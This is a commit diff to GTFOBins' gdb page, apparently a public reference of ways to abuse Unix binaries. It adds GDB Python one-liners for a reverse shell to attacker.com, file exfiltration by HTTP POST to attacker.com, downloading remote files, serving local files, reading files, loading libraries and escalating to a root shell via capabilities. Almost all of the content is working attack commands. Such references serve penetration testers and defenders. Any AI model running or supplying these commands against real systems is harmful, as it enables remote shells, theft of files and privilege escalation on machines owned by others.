Add python functions to gdb

_gtfobins/gdb.md

@@ -1,16 +1,55 @@
 ---
-description: |
-  GDB may come with embedded Python support, in that case arbitrary code can be executed with the `python` command in the context of the GDB process. See the [Python](/gtfobins/python/) functions.
 functions:
   execute-interactive:
     - code: gdb -nx -ex '!sh' -ex quit
+  reverse-shell-interactive:
+    - description: This requires that GDB is compiled with Python support. Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.
+      code: |
+        export RHOST=attacker.com
+        export RPORT=12345
+        gdb -nx -ex 'python import sys,socket,os,pty;s=socket.socket()
+        s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
+        [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
+        pty.spawn("/bin/sh")' -ex quit
+  upload:
+    - description: This requires that GDB is compiled with Python support. Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.
+      code: |
+        export URL=http://attacker.com/
+        export LFILE=file_to_send
+        gdb -nx -ex 'python import sys; from os import environ as e
+        if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
+        else: import urllib as u, urllib2 as r
+        r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))' -ex quit
+    - description: This requires that GDB is compiled with Python support. Serve files in the local folder running an HTTP server.
+      code: |
+        export LPORT=8888
+        gdb -nx -ex 'python import sys; from os import environ as e
+        if sys.version_info.major == 3: import http.server as s, socketserver as ss
+        else: import SimpleHTTPServer as s, SocketServer as ss
+        ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' -ex quit
+  download:
+    - description: This requires that GDB is compiled with Python support. Fetch a remote file via HTTP GET request.
+      code: |
+        export URL=http://attacker.com/file_to_get
+        export LFILE=file_to_save
+        gdb -nx -ex 'python import sys; from os import environ as e
+        if sys.version_info.major == 3: import urllib.request as r
+        else: import urllib as r
+        r.urlretrieve(e["URL"], e["LFILE"])' -ex quit
   file-write:
-    - code: |
+    - description: This requires that GDB is compiled with Python support.
+      code: |
         LFILE=file_to_write
         gdb -nx -ex "dump value $LFILE \"DATA\"" -ex quit
+  file-read:
+    - description: This requires that GDB is compiled with Python support.
+      code: gdb -nx -ex 'python print(open("file_to_read").read())' -ex quit
+  load-library:
+    - description: This requires that GDB is compiled with Python support.
+      code: gdb -nx -ex 'python from ctypes import cdll; cdll.LoadLibrary("lib.so")' -ex quit
   sudo-enabled:
     - code: sudo gdb -nx -ex '!sh' -ex quit
   capabilities-enabled:
-    - description: Only if it has been compiled with Python support.
+    - description: This requires that GDB is compiled with Python support.
       code: ./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
 ---